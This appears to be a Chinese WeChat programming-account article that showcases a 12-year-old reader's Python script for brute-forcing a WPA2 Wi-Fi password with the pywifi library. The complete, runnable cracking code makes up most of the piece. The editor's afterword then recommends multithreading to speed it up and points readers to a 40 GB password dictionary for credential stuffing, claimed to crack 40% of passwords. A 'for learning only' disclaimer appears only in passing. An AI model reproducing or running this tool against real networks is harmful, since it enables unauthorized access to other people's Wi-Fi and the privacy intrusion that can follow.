12歲小讀者使用Python暴力破解Wi-Fi密碼
點擊關(guān)注上方“SQL數(shù)據(jù)庫開發(fā)”,
設為“置頂或星標”,第一時間送達干貨
這一代后浪在父母的光環(huán)加持下,猛點技能點。有些從小學開始敲基因,有些一天能寫2000首詩,有些發(fā)表的論文已經(jīng)達到碩士畢業(yè)水平。但是在編程領域還有另外一群后浪,有些僅僅靠著自己的自學開始做游戲,建網(wǎng)站,在同齡人的互聯(lián)網(wǎng)領域里叱詫風云
像之前還有小讀者問我現(xiàn)在12歲已經(jīng)學完P(guān)ython基礎,不知道對Python的其它方向該如何選擇

這不,就有小讀者給我投稿,他寫代碼生成密碼本,并利用pywifi工具包對自家Wi-Fi進行暴力破解,下文分享給大家看看
1.投稿內(nèi)容
Hello我是狂飆 今天來分享一些我對Python破解WiFi的一些看法,思路如下:
1.首先我們需要生成密碼本, 因為大部分wifi密碼為八位數(shù)字, 所以我們就生成八位數(shù)字密碼本。
2.然后判斷電腦是否連接wifi
3.創(chuàng)建wifi連接文件,選擇要連接wifi名稱,檢查加密單元
4.接下來刪除所有連接過的wifi 判斷wifi是否連接。
5.最后需要一個八位以上的密碼本,一行一行讀取就可以了。
完整的代碼就發(fā)給大家了 不要忘記生成密碼本,然后說找不到password.txt的文件啊
#?coding:utf-8
import?pywifi
from?pywifi?import?const
import?time
#測試連接,返回鏈接結(jié)果
#抓取網(wǎng)卡接口(改進)
#wifi?=?pywifi.PyWiFi()
#獲取第一個無線網(wǎng)卡
#ifaces?=?wifi.interfaces()[0]
def?wifiConnect(pwd):
????#抓取網(wǎng)卡接口(原版)
????wifi?=?pywifi.PyWiFi()
????#獲取第一個無線網(wǎng)卡
????ifaces?=?wifi.interfaces()[0]
????#斷開所有連接
????ifaces.disconnect()
????time.sleep(1)
????wifistatus?=?ifaces.status()
????if?wifistatus?==?const.IFACE_DISCONNECTED:
????????#創(chuàng)建WiFi連接文件
????????profile?=?pywifi.Profile()
????????#要連接WiFi的名稱
????????profile.ssid?=?"wifi名稱"
????????#網(wǎng)卡的開放狀態(tài)
????????profile.auth?=?const.AUTH_ALG_OPEN
????????#wifi加密算法,一般wifi加密算法為wps
????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
????????#加密單元
????????profile.cipher?=?const.CIPHER_TYPE_CCMP
????????#調(diào)用密碼
????????profile.key?=?pwd
????????#刪除所有連接過的wifi文件
????????ifaces.remove_all_network_profiles()
????????#設定新的連接文件
????????tep_profile?=?ifaces.add_network_profile(profile)
????????ifaces.connect(tep_profile)
????????#wifi連接時間
????????time.sleep(3)
????????if?ifaces.status()?==?const.IFACE_CONNECTED:
????????????return?True
????????else:
????????????return?False
????else:
????????print("已有wifi連接")
#讀取密碼本
def?readPassword():
????print("開始破解:")
????#密碼本路徑
????path?=?r"C:\Users\電腦路徑\Desktop\password.txt"
????#打開文件
????file?=?open(path,?"r")
????while?True:
????????try:
????????????#一行一行讀取
????????????pad?=?file.readline()
????????????bool?=?wifiConnect(pad)
????????????if?bool:
????????????????print("密碼已破解:?",?pad)
????????????????print("WiFi已自動連接!!!")
????????????????break
????????????else:
????????????????#跳出當前循環(huán),進行下一次循環(huán)
????????????????print("密碼破解中....密碼校對:?",?pad)
????????except:
????????????continue
readPassword()
注:上述方法僅供學習討論
下圖為實際運行結(jié)果,我們修改對應wifi的名稱,直接運行就可以了!
雖然這樣的方法確實有用,只可惜效率實在是太低了,我在運行到第99…9次的時候終于忍不住,把WiFi密碼改簡單了。再運行一下,成功!
2.說兩句
對于12歲的學生來說,能夠靈活使用Python工具包實現(xiàn)功能,并且自行配置好環(huán)境非常難得。
這里提出了兩點可以改進的地方
暴力破解單線程太慢,可以嘗試使用任務處理 密碼比較單一,可以從網(wǎng)上尋找密碼庫來嘗試撞庫,行哥找了40G的密碼庫,大家可以在文末的鏈接處進行下載哦,據(jù)說可以破解40%的密碼
那么后浪來了,還在學Python的你有如何感想?
——End——
后臺回復關(guān)鍵字:1024,獲取一份精心整理的技術(shù)干貨 后臺回復關(guān)鍵字:進群,帶你進入高手如云的交流群。 推薦閱讀
這是一個能學到技術(shù)的公眾號,歡迎關(guān)注
